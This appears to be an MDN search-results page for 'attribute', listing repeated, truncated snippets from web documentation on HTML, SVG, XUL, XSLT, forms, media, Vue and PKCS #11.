attributes are listed in double square brackets, rather than single. see object.defineproperty() to learn more. data property associates a key with a value, and has the following
attributes:
attributes of a data property
attribute type description default value [[value]] any javascript type the value retrieved by a get access of the property. undefined ...
...And 6 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
rack, or if the audio track is muted. media with an active audio track are considered to be audible, and autoplay blocking applies to them. inaudible media are not affected by autoplay blocking. autoplay and autoplay blocking the term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. this includes both the use of html
attributes to autoplay media as well as the user of javascript code to start playback outside the context of handling user input. that means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: ...
...raction. browsers may additionally choose to block under other circumstances. autoplay of media elements now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and tips for coping when autoplay is denied by the browser. the autoplay
attribute the simplest way to automatically play content is to add the autoplay
attribute to your <audio> or <video> element. this sets the autoplay property on the element to true, and when autoplay is true, the media will automatically begin to play as soon as possible after the following have occurred: the page is allowed to use autoplay functionality the element has been created during page load ...
...cally begin to play as soon as possible after the following have occurred: the page is allowed to use autoplay functionality the element has been created during page load enough media has been received to begin playback and continue to play through to the end of the media without interruption, assuming there are no dramatic changes in network performance or bandwidth. example: the autoplay
attribute an <audio> element using the autoplay
attribute might look like this: <audio id="musicplayer" autoplay> <source src="/music/chapter1.mp4"> </audio> example 2: detecting autoplay failure if you rely on autoplay for anything important, or if autoplay failure will impact your app in any way, you will probably want to be able to tell when it autoplay didn't begin. unfortunately, in the case of...
...And 6 more matches
height - SVG: Scalable Vector Graphics
the height
attribute defines the vertical length of an element in the user coordinate system. ...
... the height
attribute defines the vertical length of an element in the user coordinate system. ...
...<percentage> default value 120% animatable yes foreignobject for <foreignobject>, height defines the vertical length for the rendering area for the referenced document. ...
...And 6 more matches
width - SVG: Scalable Vector Graphics
the width
attribute defines the horizontal length of an element in the user coordinate system. ...
... the width
attribute defines the horizontal length of an element in the user coordinate system. ...
...<percentage> default value 120% animatable yes foreignobject for <foreignobject>, width defines the horizontal length for the rendering area for the referenced document. ...
...And 6 more matches
<desc> - SVG: Scalable Vector Graphics
if aria-describedby is used, it will take precedence over <desc>. ...
...ase, the <desc> element must provide an id for reference. ...
... reference. ...
...And 6 more matches
<feImage> - SVG: Scalable Vector Graphics
example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xl...
... example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xl...
... example svg <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="image"> <feimage xl...
...And 6 more matches
PI Parameters - XSLT: Extensible Stylesheet Language Transformations
stylesheet when executing it. this has been possible for a while when using the xsltprocessor in javascript. however when using an <?xml-stylesheet?> processing instruction (pi) there used to be no way to provide parameters. to solve this two new pis are implemented in firefox 2 (see supported versions below for details), <?xslt-param?> and <?xslt-param-namespace?>. both pis can contain "pseudo
attributes" the same way that the xml-stylesheet pi does. the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript. process...
...he xml-stylesheet pi does. the following document passes the two parameters "color" and "size" to the stylesheet "style.xsl". <?xslt-param name="color" value="blue"?> <?xslt-param name="size" select="2"?> <?xml-stylesheet type="text/xsl" href="style.xsl"?> note that these pis have no effect when transformation is done using the xsltprocessor object in javascript. processing instructions the
attributes in the xslt-param and xslt-param-namespace pis are parsed using the rules defined in xml-stylesheet. any unrecognized
attributes must be ignored. parsing of any
attribute must not fail due to the presence of an unrecognized
attribute as long as that
attribute follows the syntax in xml-stylesheet. both the xslt-param and the xslt-param-namespace pis must appear in the prolog of the document, i.e...
...onored, both ones occurring before and onces occurring after any xml-stylesheet pis. if there are multiple xml-stylesheet pis the parameters apply to all stylesheets as a consequence of that all stylesheets are imported into a single stylesheet per the xslt spec.reference? note that multiple xml-stylesheet xslt pis are not supported in firefox currently. ...
...And 6 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
the spot numbered fixme: figure 5: finding merge points for overlays using the dom inspector putting overlays on the browser window now that you know the merge point for your overlay, you can create the overlay.xul file that will insert it (listing 3). in line 4, we identify the merge point as the menupop element; in lines 5–7, we have the code that adds the new menu item. the insertbefore
attribute determines where the element gets added. test install and operational check this brings us to the point where we finally install our hello world extension. using the normal xpi-style installer would just be added trouble in this case, so we won’t use it. for source files under development, we do test installs. placing pointer files first, navigate to the profile folder of the currently acti...
... produced by phase 2 adding an event handler first, we add an event handler to the menu item that will open the window (listing 4). fixme: listing 4: event handler clock handler create the window that displays the clock (listing 5) and its controller (listing 6). we’ve already covered the dialog element in chapter 3. in this case, we only want to display an ok button, so we set the buttons
attribute to accept. within the window are a label element and textbox element, wrapped in a hbox element so that they are arranged horizontally. listing 5: content for clock.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/"?> <dialog id="clockdialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" title="clock" buttons="accept" onload="initclock();...
...; var state = ss.getbrowserstate(); var filename = "session_" + date.now() + ".js"; var file = this._dir.clone(); file.append(filename); this._writefile(file, state); }, restore method listing 20 shows the event handler for the dynamically generated menu items, which were created using the createmenu method (which we’ll get to shortly). lines 3–6 get the file name from the special
attribute filename that was added by the createmenu method, and read in the json text string from that file using the _readfile method (which we’ll get to shortly). lines 7–9 use the nslsessionstore interface’s setwindowstate method to restore the session, using the current window as an origin point. session restoration overwrites any currently open tabs. listing 20: content for restore method rest...
...And 5 more matches
Adding Events and Commands - Archive of obsolete content
ace the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of content and behavior. also, note that the addeventlistener method receives the event name without the "on" prefix, while element
attributes do have the prefix. there's a long list of events you can listen to, and which you use depend on the situation. elements only implement the events that are relevant to them, but there are several events that are implemented for most elements. these are some notable events you should keep in mind: oncommand. this is one of the most important and commonly used events in xul. it's very useful be...
...while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. for example: <button label="&xulschoolhello.defaultgreeting.label;" oncommand="xulschoolchrome.browseroverlay.changegreeting(event);" /> then on the javascript code you would have something like this: changegreeting : function(aevent) { // more stuff aevent.target.set
attribute("label", somenewgreeting); } the target in this example is the button element, so clicking on it will change its text. the advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements. for more advanced event handling, you should read about event propagation. in a nutshell, events propagate from the root of the dom ...
...id="xulschoolhello-online-broadcaster" /> </broadcasterset> these elements are completely invisible, so you can put them anywhere. it is recommended that you have them at the top of the xul code, along with script declarations and other invisible elements with as popupset and commandset. ...
...And 5 more matches
jspage - Archive of obsolete content
(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],10)||0,build:parseint(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execscript){window.execscript(b);}else{var a=document.createelement("script");a.set
attribute("type","text/javascript"); a[(browser.engine.webkit&&browser.engine.version<420)?"innertext":"text"]=b;document.head.appendchild(a);document.head.removechild(a);}return b;}native.uid=1; var $uid=(browser.engine.trident)?function(a){return(a.uid||(a.uid=[native.uid++]))[0];}:function(a){return a.uid||(a.uid=native.uid++);};var window=new native({name:"window",legacy:(browser.engine.trident)?null:w...
...ion(e){var f=this.getelementsbytagname(e.trim());(b)?c.extend(f):c=f; },this);return new elements(c,{ddup:b,cash:!d});}});(function(){var h={},f={};var i={input:"checked",option:"selected",textarea:(browser.engine.webkit&&browser.engine.version<420)?"innerhtml":"value"}; var c=function(l){return(f[l]||(f[l]={}));};var g=function(n,l){if(!n){return;}var m=n.uid;if(browser.engine.trident){if(n.clear
attributes){var q=l&&n.clonenode(false); n.clear
attributes();if(q){n.merge
attributes(q);}}else{if(n.removeevents){n.removeevents();}}if((/object/i).test(n.tagname)){for(var o in n){if(typeof n[o]=="function"){n[o]=$empty; }}element.dispose(n);}}if(!m){return;}h[m]=f[m]=null;};var d=function(){hash.each(h,g);if(browser.engine.trident){$a(document.getelementsbytagname("object")).each(g); }if(window.collectga...
...y(o,m);}return this;},get:function(m){var l=element.properties.get(m); return(l&&l.get)?l.get.apply(this,array.slice(arguments,1)):this.getproperty(m);},erase:function(m){var l=element.properties.get(m);(l&&l.erase)?l.erase.apply(this):this.removeproperty(m); return this;},setproperty:function(m,n){var l=e[m];if(n==undefined){return this.removeproperty(m);}if(l&&b[m]){n=!!n;}(l)?this[l]=n:this.set
attribute(m,""+n); return this;},setproperties:function(l){for(var m in l){this.setproperty(m,l[m]);}return this;},getproperty:function(m){var l=e[m];var n=(l)?this[l]:this.get
attribute(m,2); return(b[m])?!!n:(l)?n:n||null;},getproperties:function(){var l=$a(arguments);return l.map(this.getproperty,this).associate(l);},removeproperty:function(m){var l=e[m]; (l)?this[l]=(l&&b[m])?false:"":this.removeattribu...
...And 5 more matches
Binding Implementations - Archive of obsolete content
ds and properties on a bound element using the implementation tag. a binding implementation provides a new set of methods and properties that can be invoked directly from the bound element. the methods and properties of an implementation can be defined declaratively using method and property tags in xml, or an external implementation (e.g., a binary implementation) can be specified using the src
attribute. when the src
attribute is specified, any children of the implementation element are ignored. methods methods are defined using the method element. the name given on the tag using the name
attribute is the name that can be used to invoke the method on the element. a method with parameters specifies those parameters and their names with parameter elements declared underneath the method element. ...
...ing has been fully constructed, although the bindingattached event will not have fired. property initialization always takes place after content generation but before the firing of a binding attachment event, since the bindingattached handler needs to be able to assume that all properties will be accessible on the binding. properties with getters and setters can define them using onget and onset
attributes, or using the more verbose getter and setter elements. if both the
attribute form and the element form are used to specify a getter or setter, then the element form is ignored. a getter contains script whose return value is handed back when the property is requested. a setter contains a script that is invoked when a new value is assigned to the property. in script, the word val is used to repre...
...rm and the element form are used to specify a getter or setter, then the element form is ignored. a getter contains script whose return value is handed back when the property is requested. a setter contains a script that is invoked when a new value is assigned to the property. in script, the word val is used to represent the new value. properties can be designated as constant using the readonly
attribute. ...
...And 5 more matches
Getting File Information - Archive of obsolete content
ending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. the nsifile object has a number of useful
attributes which may be used to retrieve information about a file. two useful
attributes filesize and lastmodifiedtime (nsifile.
attributes) provide a means of retrieving the size of a file and the time when the file was last changed. file size the filesize (nsifile.
attributes)
attribute holds the size of a file in bytes. if the file does not exist, a 'file not found' exception will occur. you can catch t...
... will check if a file on the desktop exists and set the variable 'filesize' to the size of the file. if the file is not present, the 'filesize' variable will not be changed from the default value of 0. var filesize = 0; var file = io.getfile("desktop", "saved file"); if (file.exists()) filesize = file.filesize; it is also possible to modify the size of a file by setting the filesize (nsifile.
attributes)
attribute to a value. this may be useful to truncate a file, however, setting the file size will also increase the size of a file if the value is larger than the current size of the file. in this case, the new part of the file will be filled with empty data. for instance, the following line will set the length of a file to 5000 bytes. file.filesize = 5000; modified time the time that a file...
..., setting the file size will also increase the size of a file if the value is larger than the current size of the file. in this case, the new part of the file will be filled with empty data. for instance, the following line will set the length of a file to 5000 bytes. ...
...And 5 more matches
Adding Event Handlers - Archive of obsolete content
the cancel button and to handle each menu command. we write this using javascript functions much in the same way as html. you can use the script element to include scripts in xul files. you can embed the script code directly in the xul file in between the opening and closing script tags but it is much better to include code in a separate file as the xul window will load slightly faster. the src
attribute is used to link in an external script file. our find files example let's add a script to the find file dialog. although it does not matter what the script file is called, usually it would be the same as the xul file with a .js extension. in this case, findfile.js will be used. add the line below just after the opening window tag and before any elements. <script src="findfile.js"/> we'll cre...
...by pressing a button, changing a checkbox or selecting an item from a menu. the command event is a useful event since it automatically handles different ways of activating the element. for example, the command event will occur regardless of whether the user uses the mouse to click a button, or presses the enter key. there are two ways to attach an event listener to an element. ...
... the enter key. there are two ways to attach an event listener to an element. first, by using an
attribute with a script as its value. second, by calling an element's addeventlistener method. the former may only handle bubbling events but tends to be simpler to write. the latter can handle events at any phase and may also be used to attach multiple listeners for an event to an element. using the
attribute form is more common for most events.
attribute event listeners to use the
attribute form, place an
attribute on the element where you want the event listener to be, the name of which should be the event name preceded by the word 'on'. ...
...And 5 more matches
More Button Features - Archive of obsolete content
this will be explained in a moment. ...
...this will be explained in a moment. example 1 : source view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button. ...
...y using the css list-style-image style property on the button. this is designed to allow the 'skin' (in this case, the appearance of the image) to be changed without changing the xul file. an example is shown below. example 2 : source view <button id="find-button" label="find" style="list-style-image: url('happy.png')"/> in this case, the image 'happy.png' is displayed on the button. ...
...And 5 more matches
Numeric Controls - Archive of obsolete content
« previousnext » xul has two elements used for the entry of numeric values or ranges, and well as two elements for entering dates and times. these elements are only available in firefox 3 and later. number fields a textbox may be used for entering numbers by setting the value of the type
attribute to the value number. this type of textbox may only be used to enter numbers. other characters are not allowed and are just ignored if typed. in addition, arrow buttons appear beside the textbox to allow the user to cycle through the values. as with other textboxes, the default value can be specified with the value
attribute. naturally, this value should be a number. however, the minimum and maximum values can also be specified using the min and max
attributes. if these are set, you c...
...set, you can control the range of values that the textbox may be set to. if the user enters a value less or greater than this value, it will be reset to the minimum or maximum value as necessary. for instance, the following numeric textbox has a range between 1 and 20. <textbox type="number" min="1" max="20"/> as the default value isn't specified, it will default to 1, the minimum value. ...
...the user enters a value less or greater than this value, it will be reset to the minimum or maximum value as necessary. for instance, the following numeric textbox has a range between 1 and 20. <textbox type="number" min="1" max="20"/> as the default value isn't specified, it will default to 1, the minimum value. the min
attribute is set to 1 to indicate a minimum possible value of 1 and the max
attribute is set to 20 to indiciate a maximum possible value of 20. if the minimum value is not specified, it has a default value of 0. the maximum value defaults to the special value infinity which means that there is no limit. other numeric textbox
attributes the increment
attribute may be used to specify by how much the value changes when the arrows are pressed. the default value is 1, but specifying a ...
...And 5 more matches
Popup Menus - Archive of obsolete content
ver an element with the mouse. this type of popup is usually used to provide a description of a button in more detail than can be provided on the button itself. all three types of popups differ in the way that the user invokes them. the type of popup is determined by the element that invokes the popup. declaring popup content a popup is described using the menupopup element. it has no special
attributes and is a type of box. when invoked, it will display a window containing whatever you put inside the menupopup. however, you should always put an id
attribute on the menupopup as it is used to associate the popup with an element. we'll see what this means soon. first, an example: <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="...
...ting a popup with an element now that we've created the popup, it's time to make the popup appear. to do this we need to associate the popup with an element where it should appear. we do this because we only want the popup to appear when the user clicks in a certain area of a window. typically, this will be a specific button or a box. to associate the popup with an element, you add one of three
attributes to the element. the
attribute you add depends on which type of popup you want to create. for plain popups, add a popup
attribute to the element. for context popups, add a context
attribute. finally, for tooltip popups, add a tooltip
attribute. the value of the
attribute must be set to the id of the menupopup that you want to have appear. this is why you must put the id on the popup. that way it...
...t popups, add a context
attribute. finally, for tooltip popups, add a tooltip
attribute. the value of the
attribute must be set to the id of the menupopup that you want to have appear. this is why you must put the id on the popup. that way it's easy to have multiple menupopups in one file. in the example above, we want to make the popup a context menu. that means that we need to use the context
attribute and add it to the element which we want to have the popup associated with. the sample below shows how we might do this: example 1 : source view <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> <box context="clipmenu"> <label value="context click for menu"/> </box> here, the menupopup h...
...And 5 more matches
Using Spacers - Archive of obsolete content
but it essentially allows you to divide a window into a series of boxes that hold elements. the boxes will be positioned and resized based on specifications that you can define. for now, just know that the window element is a type of box. before we get into detail about boxes, we'll introduce another xul element that is useful for layout, the spacer. a spacer is very simple and only requires one
attribute, which will be explained in a moment. the simplest spacer looks like the following: <spacer flex="1"/> a spacer is used to place blank space into a window. its most useful ability is that it can grow or shrink as the user resizes the window. this would be how one would place buttons on the right or bottom of a window and have them stick to the right or bottom edge no matter what size the window ...
...e blank space into a window. its most useful ability is that it can grow or shrink as the user resizes the window. this would be how one would place buttons on the right or bottom of a window and have them stick to the right or bottom edge no matter what size the window is. as we'll see, you can use a series of spacers to create a number of layout effects. in this syntax above, the spacer has one
attribute, called flex. this is used to define the flexibility of the spacer. in the case above, the spacer has a flex of 1. this makes the spacer element stretchy. if you place a spacer directly inside a window, the spacer will grow in size when the size of the window is changed. we'll add a spacer to our find file dialog soon. first, let's take a look at what happens when the current dialog is resized. ...
...height of an element, the default size of an element is determined by its contents. you'll notice that the cancel button in the dialogs has always set its width so that it fits the text inside it. if you create a button with a very long label, the button's default size will be large enough to hold the entire label. other elements, such as the text box have chosen a suitable default size. the flex
attribute is used to specify if an element can change size to fit the box (in this case, the window) it is in. we've already seen the flex
attribute applied to spacers, but it can be applied to any element. for example, you might want to have the find button resize instead. as you can see in the image, by placing a flex
attribute on the find button, it resizes when the window does. a spacer is really noth...
...And 5 more matches
XUL Questions and Answers - Archive of obsolete content
ad> <listitem type="checkbox" value="1" label="vghkvghk"/> <listitem type="checkbox" value="2" label="vghjkvk" checked="true"/> <listitem type="checkbox" value="3" label="hukfzgjcfj" disabled="true"/> </listbox> </window> list box handlers can only check for listitems not listcells. if user wants checkbox support for multicolumn lists, then they will have to implement one. are xul
attributes integers? xul
attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. to convert them to integers use the parseint() javascript function. while the
attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type. using the ...
...ers? xul
attributes such as left="100" or top="200", as well as corresponding properties, look as if they're integers but they are actually handled as strings. to convert them to integers use the parseint() javascript function. while the
attributes are always strings per the dom specification, the properties will eventually be fixed to return the value with the correct type. using the "icon"
attribute on a button from xulplanet.com reference: this
attribute should be used to set the usage for common buttons. some platforms display these buttons with a small icon indicating their usage. this should be used in place of the image
attribute. possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, refresh, go-forward, go-back, propertie...
... how to use dynamic objects in toolbar there may be a few ways to implement this: by building your menupopup from an rdf datasource, which could be generated on the server. by getting data (e.g. ...
...And 5 more matches
keyset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container element for key elements. the keyset and its descendants are not displayed. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a container element for key elements. the keyset and its descendants are not displayed. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a container element for key elements. the keyset and its descendants are not displayed. more information is available in the xul tutorial. ...
...And 5 more matches
textnode - Archive of obsolete content
this value should be an rdf property (predicate). ...
...this value should be an rdf property (predicate). ...
...this value should be an rdf property (predicate). ...
...And 5 more matches
Implementation Status - Archive of obsolete content
h their current status: supported, partial support, in progress, and not currently supported. we have listed the most relevant bugs here, but check out the bugzilla xforms buglist for the complete list. 3. ...
...tly supported. we have listed the most relevant bugs here, but check out the bugzilla xforms buglist for the complete list. 3. ...
...s buglist for the complete list. 3. ...
...And 5 more matches
Sending form data - Learn web development
-friendly way to configure an http request to send data to a server. this enables the user to provide information to be delivered in the http request. note: to get a better idea of how client-server architectures work, read our server-side website programming first steps module. on the client side: defining how to send the data the <form> element defines how the data will be sent. ...
...ered in the http request. note: to get a better idea of how client-server architectures work, read our server-side website programming first steps module. on the client side: defining how to send the data the <form> element defines how the data will be sent. all of its
attributes are designed to let you configure the request to be sent when a user hits a submit button. the two most important
attributes are action and method. the action
attribute the action
attribute defines where the data gets sent. its value must be a valid relative or absolute url. if this
attribute isn't provided, the data will be sent to the url of the page containing the form — the current page. in this example, the data is sent to an absolute url — https://example.com: <form action="https://example.com"> here, w...
...when you do this, the data is encrypted along with the rest of the request, even if the form itself is hosted on an insecure page accessed using http. ...
...And 5 more matches
Your first form - Learn web development
her, make a local copy of our simple html template — you'll enter your form html into here. the <form> element all forms start with a <form> element, like this: <form action="/my-handling-form-page" method="post"> </form> this element formally defines a form. it's a container element like a <section> or <footer> element, but specifically for containing forms; it also supports some specific
attributes to configure the way the form behaves. all of its
attributes are optional, but it's standard practice to always set at least the action and method
attributes: the action
attribute defines the location (url) where the form's collected data should be sent when it is submitted. the method
attribute defines which http method to send the data with (usually get or post). note: we'll look at how...
... for now, add the above <form> element into your html <body>. the <label>, <input>, and <textarea> elements our contact form is not complex: the data entry portion contains three text fields, each with a corresponding <label>: the input field for the name is a single-line text field. ...
.../li> <li> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </li> </ul> </form> update your form code to look like the above. the <li> elements are there to conveniently structure our code and make styling easier (see later in the article). for usability and accessibility, we include an explicit label for each form control. note the use of the for
attribute on all <label> elements, which takes as its value the id of the form control with which it is associated — this is how you associate a form control with its label. there is great benefit to doing this — it associates the label with the form control, enabling mouse, trackpad, and touch device users to click on the label to activate the corresponding control, and it also provides an accessible...
...And 5 more matches
From object to iframe — other embedding technologies - Learn web development
> is able to be placed in fullscreen mode using the full screen api (somewhat beyond scope for this article.) frameborder if set to 1, this tells the browser to draw a border between this frame and other frames, which is the default behaviour. 0 removes the border. using this isn't really recommended any more, as the same effect can be better achieved using border: none; in your css. src this
attribute, as with <video>/<img>, contains a path pointing to the url of the document to be embedded. width and height these
attributes specify the width and height you want the iframe to be. fallback content in the same way as other similar elements like <video>, you can include fallback content between the opening and closing <iframe></iframe> tags that will appear if the browser doesn't support the ...
...to be. fallback content in the same way as other similar elements like <video>, you can include fallback content between the opening and closing <iframe></iframe> tags that will appear if the browser doesn't support the <iframe>. in this case, we have included a link to the page instead. it is unlikely that you'll come across any browser that doesn't support <iframe>s these days. sandbox this
attribute, which works in slightly more modern browsers than the rest of the <iframe> features (e.g. ie 10 and above) requests heightened security settings; we'll say more about this in the next section. note: in order to improve speed, it's a good idea to set the iframe's src
attribute with javascript after the main content is done with loading. this makes your page usable sooner and decreases your off...
...nt document with http. however, because of the second benefit of https above, no matter what the cost, you must never embed third-party content with http. ...
...And 5 more matches
Video and audio content - Learn web development
e next article. the <video> element the <video> element allows you to embed a video very easily. a really simple example looks like this: <video src="rabbit320.webm" controls> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.webm">link to the video</a> instead.</p> </video> the features of note are: src in the same way as for the <img> element, the src (source)
attribute contains a path to the video you want to embed. it works in exactly the same way. controls users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) you must either use the controls
attribute to include the browser's own control interface, or build your interface using the appropriate javascript api. at a minimum, the interface must include ...
... what software the user has installed. so how do we do this? take a look at the following updated example (try it live here, also): <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> here we've taken the src
attribute out of the actual <video> tag, and instead included separate <source> elements that point to their own sources. in this case the browser will go through the <source> elements and play the first one that it has the codec to support. including webm and mp4 sources should be enough to play your video on most platforms and browsers these days. each <source> element also has a type
attribute. this is...
...te <source> elements that point to their own sources. in this case the browser will go through the <source> elements and play the first one that it has the codec to support. including webm and mp4 sources should be enough to play your video on most platforms and browsers these days. each <source> element also has a type
attribute. this is optional, but it is advised that you include it. the type
attribute contains the mime type of the file specified by the <source>, and browsers can use the type to immediately skip videos they don't understand. iftype isn't included, browsers will load and try to play each file until they find one that works, which obviously takes time and is an unnecessary use of resources. refer to our guide to media types and formats for help selecting the best containers and ...
...And 5 more matches
Introduction to events - Learn web development
<button onclick="bgchange()">press me</button> function bgchange() { const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; } note: you can find the full source code for this example on github (also see it running live). ...
... const rndcol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')'; document.body.style.backgroundcolor = rndcol; } note: you can find the full source code for this example on github (also see it running live). ...
...the earliest method of registering event handlers found on the web involved event handler html
attributes (or inline event handlers) like the one shown above — the
attribute value is literally the javascript code you want to run when the event occurs. the above example invokes a function defined inside a <script> element on the same page, but you could also insert javascript directly inside the
attribute, for example: <button onclick="alert('hello, this is my old-fashioned event handler!');">press me</button> you can find html
attribute equivalents for many of the event handler properties; however, you shouldn't use these — they are considered bad practice. ...
...And 5 more matches
Video and Audio APIs - Learn web development
<source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting
attribute is controls, which enables the default set of playback controls. if you don't specify this, you get no playback controls: this is not as immediately useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! another big issue is that the native controls in most br...
...is not as immediately useful for video playback, but it does have advantages. one big issue with the native browser controls is that they are different in each browser — not very good for cross-browser support! another big issue is that the native controls in most browsers aren't very keyboard-accessible. you can solve both these problems by hiding the native controls (by removing the controls
attribute), and programming your own with html, css, and javascript. in the next section we'll look at the basic tools we have available to do this. the htmlmediaelement api part of the html5 spec, the htmlmediaelement api provides features to allow you to control video and audio players programmatically — for example htmlmediaelement.play(), htmlmediaelement.pause(), etc. this interface is available t...
...le player is wrapped in a <div> element, so it can all be styled as one unit if needed. the <video> element contains two <source> elements so that different formats can be loaded depending on the browser viewing the site. the controls html is probably the most interesting: we have four <button>s — play/pause, stop, rewind, and fast forward. each <button> has a class name, a data-icon
attribute for defining what icon should be shown on each button (we'll show how this works in the below section), and an aria-label
attribute to provide an understandable description of each button, since we're not providing a human-readable label inside the tags. the contents of aria-label
attributes are read out by screenreaders when their users focus on the elements that contain them. there is also a...
...And 5 more matches
Rendering a list of Vue components - Learn web development
ta() { return { todoitems: [ { label: 'learn vue', done: false }, { label: 'create a vue project with the cli', done: true }, { label: 'have fun', done: true }, { label: 'create a to-do list', done: false } ] }; } }; now that we have a list of items, we can use the v-for directive to display them. directives are applied to elements like other
attributes. in case of v-for, you use a special syntax similar to a for...in loop in javascript — v-for="item in items" — where items is the array you want to iterate over, and item is a reference to the current element in the array. v-for attaches to the element you want to repeat, and renders that element and its children. in this case, we want to display an <li> element for every to-do item inside...
... in items" — where items is the array you want to iterate over, and item is a reference to the current element in the array. v-for attaches to the element you want to repeat, and renders that element and its children. in this case, we want to display an <li> element for every to-do item inside our todoitems array. then we want to pass the data from each to-do item to a todoitem component. key
attribute before we do that, there's one other piece of syntax to know about that is used with v-for, the key
attribute. to help vue optimize rendering the elements in the list, it tries to patch list elements so it's not recreating them every time the list changes. however, vue needs help. to make sure it is re-using list elements appropriately, it needs a unique "key" on the same element that you attach...
...while it would be great to use the name field, this field will eventually be controlled by user input, which means we can't guarantee that the names would be unique. we could use lodash.uniqueid(), however, like we did in the previous article. ...
...And 5 more matches
Gecko info for Windows accessibility vendors
ble objects, although we do support event_scrollingend and isimpledomnode::scrollto(), explained below. we do not currently support state_moveable, state_sizeable or state_marqueed. we do not currently support role_system_row, although internet explorer doesn't either, and the reason seems apparent. it is not obvious where the role_system_row should exist in the tree when the html rowspan
attribute is used to combine to cells in different rows. there are currently two techniques for parsing tables: 1) use acclocation() to get the coordinates for each cell and feed that into an algorithm that builds up your own table data structure, or 2) use isimpledomnode and parse the table see below for the complete list of roles and notes about what we support intentional differences with intern...
...fox 3 and beyond. enum { navrelation_controlled_by = 0x1000 }; enum { navrelation_controller_for = 0x1001 }; these two relations show what form controls may dynamically change areas of the document, in response to user changes in the form controls themselves. both controlled_by and controller_for are set in markup from the single dynamic content accessibility dynamic content aaa:controls
attribute. the inverse controlled_by relation is automatically calculated. the domenum { navrelation_flows_to = 0x1006 }; enum { navrelation_flows_from = 0x1007 }; these two relations allow the reading flow to break out of the normal dom flow. both flows_to and flows_from are set in markup from the single dynamic content accessibility aaa:flowsto relation -- the inverse flow_from relation is auto...
... fires event_menupopupstart, event_menupopupend role_menuitem xul: menuitem dhtml: role="wairole:menuitem" sets state_checked for radio or checkbox menuitem types accelerator key comes in accname after a \t (tab) character. for example, "open\tctrl+o" role_tooltip xul: <tooltip> or tooltiptext
attribute role_application default role of root object of application dhtml: role="wairole:application" accname() exposes the <title> of the current pane. role supported? unique features role_document default role for root object of document dhtml: role="wairole:document" s...
...And 5 more matches
PKCS11 FAQ
hain, as long as the full chain is available in the regular certificate database. for the sake of completeness, it's also a good idea to expose public key objects. nss falls back to looking for for the existance of public keys to determine if the token may have the corresponding private key while the token is not logged in. how are permanent pkcs #11 objects found by nss? that is, which pkcs #11
attributes are used in the object searches? labels? key ids? key types? these are the general guidelines: user certificates are identified by their labels. certificates and keys are often looked up by the following methods: by looking up all private keys. by looking up all certificates. certificates may be looked up by label. by convention, all certificates making up a single personality s...
...ertificate, and this value must be unique on the token. orphaned keys have a cka_id generated from some part of the public key. this value is set when the key is generated, so that nss will be able to find the key when the certificate for that key is loaded. this case is interesting only for read/write tokens. what labels does nss use to identify certificates? nss can use the cka_label
attribute to identify user certificates (see previous question) and presents this label to the user. therefore, each user certificate must have some label associated with it. the label for a token certificate is presented to the user as follows:token label :certificate label . this implies that eachtoken label should be unique and meaningful to the user, and that eachcertificate label should be unique to t...
